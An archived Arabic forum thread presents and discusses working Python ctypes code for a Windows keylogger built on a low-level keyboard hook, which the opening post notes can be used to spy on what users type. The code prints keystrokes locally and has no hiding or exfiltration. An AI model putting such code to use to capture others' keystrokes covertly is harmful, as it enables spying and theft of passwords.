الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

مثال على Keylogger ببايثون للتنصّت على ضغطات لوحة المفاتيح

بدأه Mr.B في 13 أغسطس 2012 · 7 رد · 6,784 مشاهدة · في لغة Python
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم ورحمة الله وبركاته

راصد لوحة المفاتيح keylogger برنامج يهدف لتسجيل جميع الضغطات على المفاتيح على مستوى النظام ويستخدم في عمل إختصارات أو للتجسس على مايكتبه المستخدم.

مبدأ عمل برنامج الـkeylogger أنه يطلب من ويندوز أن يُسجّل خطّاف hook على رسائل النظام الخاصة بلوحة المفاتيح كي يُمررها للبرنامج أولاً بإستخدام الدالة SetWindowsHookEx بالخيار WH_KEYBOARD_LL. ستمرر رسالة ضغط المفاتيج لأحد الدوال التي نُحددها ثم نجعل هذه الدالة تسجّل جميع الرسائل بعد إستخراج النصّ المقابل للزرّ.

كتبت واحد ببايثون بإستخدام ctypes , لايزال بسيط الا أنه يؤدي الغرض ويوصل الفكرة :

#!python
#coding: utf-8
# Licence   : public domain
# Author    : Barakat <http://twitter.com/#!/b4r4k47> 

from ctypes import *

# Base windows types

BYTE    = c_ubyte
WORD    = c_ushort
DWORD   = c_ulong
WCHAR   = c_wchar
LRESULT = c_long
WPARAM  = c_uint
LPARAM  = c_long
HANDLE  = c_void_p
HHOOK   = HANDLE
HKL     = HANDLE

# Base constans

WM_KEYDOWN      = 0x0100
WH_KEYBOARD_LL  = 13
VK_TAB          = 0x09 # TAB key
VK_RETURN       = 0x0D # ENTER key

# Base Win API

SetWindowsHookEx    = windll.user32.SetWindowsHookExW
UnhookWindowsHookEx = windll.user32.UnhookWindowsHookEx
CallNextHookEx      = windll.user32.CallNextHookEx
GetMessage          = windll.user32.GetMessageW
GetKeyboardState    = windll.user32.GetKeyboardState
GetKeyboardLayout   = windll.user32.GetKeyboardLayout
ToUnicodeEx         = windll.user32.ToUnicodeEx

# Macros

LOWORD = lambda x: x & 0xffff

# Base structures

class KBDLLHOOKSTRUCT(Structure):

    _fields_ = [
        ('vkCode',      DWORD),
        ('scanCode',    DWORD),
        ('flags',       DWORD),
        ('time',        DWORD),
        ('dwExtraInfo', POINTER(c_ulong))
    ]


# Function prototypes

LOWLEVELKEYBOARDPROC = CFUNCTYPE(LRESULT, c_int, WPARAM, LPARAM)


# Hook class

class KeybordHook(object):

    def __init__(self):
        self._loop = True
        self._plowlevelkeyboardproc = LOWLEVELKEYBOARDPROC(self._lowlevelkeyboardproc)
        self.hHook = SetWindowsHookEx(WH_KEYBOARD_LL, self._plowlevelkeyboardproc, None, 0)

        # FIXME: is there a better way to handle this error?

        if self.hHook == 0:
            raise NameError

    def _lowlevelkeyboardproc(self, nCode, wParam, lParam):

        # The keylogger callback

        if LOWORD(wParam) != WM_KEYDOWN:
            return CallNextHookEx(self.hHook, nCode, wParam, lParam)

        keyState = (BYTE * 256)()
        buff = (WCHAR * 256)()
        kbdllhookstruct = KBDLLHOOKSTRUCT.from_address(lParam)

        if kbdllhookstruct.vkCode == VK_TAB:
            self._callback("\t")
            return CallNextHookEx(self.hHook, nCode, wParam, lParam)
        elif kbdllhookstruct.vkCode == VK_RETURN:
            self._callback("\n")
            return CallNextHookEx(self.hHook, nCode, wParam, lParam)

        hKl = GetKeyboardLayout(0)
        GetKeyboardState(byref(keyState))
        ToUnicodeEx(kbdllhookstruct.vkCode, kbdllhookstruct.scanCode, byref(keyState), byref(buff), 256, 0, hKl)
        self._callback(buff.value.encode('utf8'))
        return CallNextHookEx(self.hHook, nCode, wParam, lParam)

    def start(self, callback):
        self._callback = callback
        while GetMessage(None, None, 0, 0).value > 0:
            if self._loop is False:
                break

    def stop(self):
        UnhookWindowsHookEx(self.hHook)
        self._loop = False

post-231926-053751500 1344883250_thumb.p

طريقة إستخدامه مذكوره, فقط أنشئ كائن من KeybordHook :

kbhook = KeybordHook()

وإستدع الوظيفة المسمّاة start بعد تمرير دالة لها تستقبل النصوص التي يرسلها الخطّاف. ولإيقافه إستدع الوظيفة stop :

#!python
#coding: utf-8
# Licence   : public domain
# Author    : Barakat <http://twitter.com/#!/b4r4k47> 

from sys import stdout
from keybordhook import *

def my_callback(data):
    if data == "\r":
        return
    elif data == "\n":
        print("")
    stdout.write(data)


if __name__ == '__main__':
    kbhook = KeybordHook()
    try:
        kbhook.start(my_callback)
    except KeyboardInterrupt:

    # FIXME: an error occurs in Python 2.6 (r26:66721) which seems, so far, a bug in ctypes.

        kbhook.stop()

ملاحظة : في إصدار بايثون الذي أستخدمه , 2.6 النسخة r26:66721, يظهر لي الخطأ :

ddrerwecTraceback (most recent call last):
  File "_ctypes/callbacks.c", line 295, in 'calling callback function'
  File "C:\Users\Barakat\Desktop\projects\PyHook\keybordhook.py", line 74, in _lowlevelkeyboardproc
    def _lowlevelkeyboardproc(self, nCode, wParam, lParam):
KeyboardInterrupt

عند كل مرّة أحاول فيها إيقاف البرنامج بالضغط على Ctrl-C. أعتقد أنّها علّه في ctypes نفسها. مع الأسف في كل مرّة أضطر لإيقاف مفسّر بايثون من مدير المهام.

المرفقات
pylogger.png
3
#2

جميل جدا يمكن اكتر شرح مختصر لل hooks شفته

أستمر في إغراء مبرمجي windows لهذا القسم :D

بخصوص ال ctrl-c (فالمفترض انها بتعمل raise ل keyboardInterrupt فممكن تعمل catch وتخرج ب exit او تستخدم signal) ففي مشكلات كتير انها مش بتدي السلوك الإفتراضي كالموجود في linux

بس أغلب ظني ان ctrl+pause هتحل المشكلة

(map share people)

فضلا لاتقم بمراسلتي من أجل أسئلة لها أقسامها في المنتدى حتى تعم الفائدة على الجميع وللحصول على إجابات أفضل من أعضاء أكثر خبرة.
Weblog
@bitbucket
@xmonader

#3

تسلم إيديك Mr. B :thumb_up:

اقتباس

عند كل مرّة أحاول فيها إيقاف البرنامج بالضغط على Ctrl-C. أعتقد أنّها علّه في ctypes نفسها. مع الأسف في كل مرّة أضطر لإيقاف مفسّر بايثون من مدير المهام.

لماذا لا تسجل Hot Keys لإغلاق البرنامج بواسطتها.

ahmed_youssef كتب:

أستمر في إغراء مبرمجي windows لهذا القسم :D

كتبت واحد من عدة سنوات بالأسمبلي يقوم بتسجيل النتائج كـ XML ويعرضها لي من خلال صفحة HTML + XSLT

لا Py ولا C++

الأسمبلي متعة ما بعدها متعة.. مش حتقدر تغمض عينيك :evil:

آسف للخروج عن الموضوع.

أهم نقطة يجب على المبرمج الانتباه لها هو استخدام التابع ToUnicodeEx بدلاً من ToAsciiEx حتى يستطيع تسجيل المحارف باللغات غير الانكليزية (العربية، الصينية، الروسية، ... إلخ)

2

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#4
اقتباس
كتبت واحد من عدة سنوات بالأسمبلي يقوم بتسجيل النتائج كـ XML ويعرضها لي من خلال صفحة HTML + XSLT

لا Py ولا C++

الأسمبلي متعة ما بعدها متعة.. مش حتقدر تغمض عينيك :evil:

:S :wacko:

الأسمبلي بتعمل أكتر من كدا سلامة عقولكم شباب :sad:

1
(map share people)

فضلا لاتقم بمراسلتي من أجل أسئلة لها أقسامها في المنتدى حتى تعم الفائدة على الجميع وللحصول على إجابات أفضل من أعضاء أكثر خبرة.
Weblog
@bitbucket
@xmonader

#5
ahmed_youssef كتب:

الأسمبلي بتعمل أكتر من كدا سلامة عقولكم شباب :sad:

لم أكن أجيد أي لغة مناسبة سوى الأسمبلي حينها :haha:

+

هي تجربة جميلة في كتابة keylogger صغير ومناسب لأغراض شخصية.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#6
Xacker كتب:

كتبت واحد من عدة سنوات بالأسمبلي يقوم بتسجيل النتائج كـ XML ويعرضها لي من خلال صفحة HTML + XSLTلا Py ولا C++الأسمبلي متعة ما بعدها متعة.. مش حتقدر تغمض عينيك :evil:

بالفعل متعة ما بعدها متعة :D

هذا درس كامل عن الـWindows Hook و هو الطريق لكتابة أصغر Keylogger :P

@X:

مع تحيات "محاربي الأسمبلي" :wink:

2
#7

انه الزحف المقدس لمحاربي الأسمبلي biggrin.gif

1

mov eax, dword ptr ds:[0xffdf0308]

jmp dword ptr [eax+0xfc]

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…